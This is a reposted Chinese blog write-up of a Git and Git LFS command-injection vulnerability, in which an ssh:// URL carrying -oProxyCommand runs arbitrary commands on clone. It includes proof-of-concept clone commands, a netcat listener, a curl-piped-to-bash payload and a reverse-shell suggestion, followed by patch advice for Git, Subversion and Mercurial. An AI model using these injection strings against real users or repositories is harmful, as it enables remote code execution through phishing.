zoukankan      html  css  js  c++  java
  • Git命令执行漏洞

    Git命令造成的反弹shell

    漏洞描述:

      Git LFS可以.lfsconfig使用LFS由存储库中的文件配置(部分),并且可以将Git LFS指向ssh://。

    [lfs]
        url = ssh://-oProxyCommand= some-command

      当使用这样的.lfsconfig文件克隆存储库时,使用LFS插件的Git将尝试调用ssh以从主机获取LFS对象 -oProxyCommand=some-command。然而,SSH会将该主机名解释为一个-o选项,并随后尝试调用some-command以建立连接。

      这样的话,可以通过克隆存储库的Git LFS客户端的精心设计的存储库来执行任意命令。

      通过在新项目中导入存储库,ssh://可以在GitLab主机上执行URL服务器端代码执行。

    利用方式:

      远程钓鱼,社工

      恶意的攻击者可以向受害者发送一条精心构造的ssh:// URL链接,当受害者访问这条URL则会触发漏洞导致执行恶意代码。

    漏洞证明:

       反弹计算器

    git clone ssh://-oProxyCommand=gnome-calculator/wat

     

      进一步利用

      本机测试环境

      先建立监听

    nc -vlp 9999

      利用git clone 获取镜像库

    git clone ssh://-oProxyCommand='curl 127.0.0.1:9999 | bash'/xx

    命令被成功执行

     

    建立连接之后,尝试执行反弹shell命令,同时监听新的端口,完成反弹shell。

     

    漏洞修复建议(或缓解措施):

    Git:升级到Git v2.14.1版本

    Apache Subversion:升级到Subversion 1.8.19、Subversion 1.9.7版本

    Mercurial:升级到Mercurial 4.3 and 4.2.3.版本

    参考文章:

    https://help.aliyun.com/knowledge_detail/57887.html

    http://bobao.360.cn/news/detail/4260.html?spm=5176.7757887.2.2.IkQv67

  • 相关阅读:
    Java数组
    Java非访问修饰符
    Java 循环结构
    Java修饰符
    Java语句
    DDK
    HDC中的前景色与背景色
    如何控制一个程序只能有一个进程
    把一个bmp转换成cur显示出来(掩码mask)
    怎么设置IE代理服务器
  • 原文地址:https://www.cnblogs.com/zhaijiahui/p/7351594.html
Copyright © 2011-2022 走看看